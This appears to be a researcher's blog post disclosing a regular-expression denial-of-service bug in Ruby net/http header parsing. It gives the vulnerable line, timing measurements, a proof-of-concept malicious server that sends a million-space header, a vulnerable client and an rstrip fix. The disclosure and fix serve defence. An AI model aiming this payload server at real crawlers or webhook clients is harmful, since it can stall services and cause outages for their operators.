ℬ㏒.㎈ℓℯℛ.ⓧⓨℤ

ReDoS in Ruby net/http when parsing response headers

A regular expression denial of service (ReDoS) bug is present in net/http/response.rb#57 when reading headers line by line. This affects ruby applications which make web requests to untrusted HTTP servers such as for crawlers or webhooks. A malicious remote server can respond with a long header line, making ruby get stuck processing the regular expression at 100% CPU for a very long time:

line = sock.readuntil("\n", true).sub(/\s+\z/, '')

The sub regex is the issue. While it looks safe and linear, this sub operation will actually have quadratic complexity as there is no starting anchor. A header line which contains many consecutive spaces but does not end in a space will exhibit extreme backtracking, e.g:

( "a" + " " * 950000 + "b" ).sub(/\s+\z/, '')

The time complexity is quadratic with respect to the number of spaces in the string (doubling the number of spaces quadruples the processing time). Approximate timings from my laptop (I measured until 10,000 and then extrapolated, a different laptop was a bit faster but still displays the terrible performance for long strings):

|  Spaces  |  Seconds   |  Hours   |  Days  |
|----------|------------|----------|--------|
|     2000 |        1.8 |          |        |
|     4000 |        7.2 |          |        |
|     8000 |       28.6 |          |        |
|    10000 |       44.7 |          |        |
|   100000 |     4473.0 |     1.24 |   0.05 |
|  1000000 |   447300.0 |   124.25 |   5.18 |
| 10000000 | 44730000.0 | 12425.00 | 517.71 |

This can be reproduced with the following malicious server:

require 'socket'
server = TCPServer.new 3000
payload = "afe:w" + " " * 1_000_000 + "goats\r\n"
while session = server.accept
  request = session.gets
  puts request
  session.print "HTTP/1.1 200\r\n" # 1
  session.print payload
  session.print "\r\n"
  session.close
  puts "sent"
end

And vulnerable client which suffers from DoS:

require 'net/http'
uri = URI('http://localhost:3000/x')
Net::HTTP.get(uri)

The inefficient regex should probably be replaced with rstrip:

sock.readuntil("\n", true).rstrip

I got a bounty from Gitlab for reporting that it affected their webhooks.

You can read Gitlab's internal discussions about it in their issue. Since Ruby is a trash fire, Gitlab had to work around the issue by monkey-patching net/http.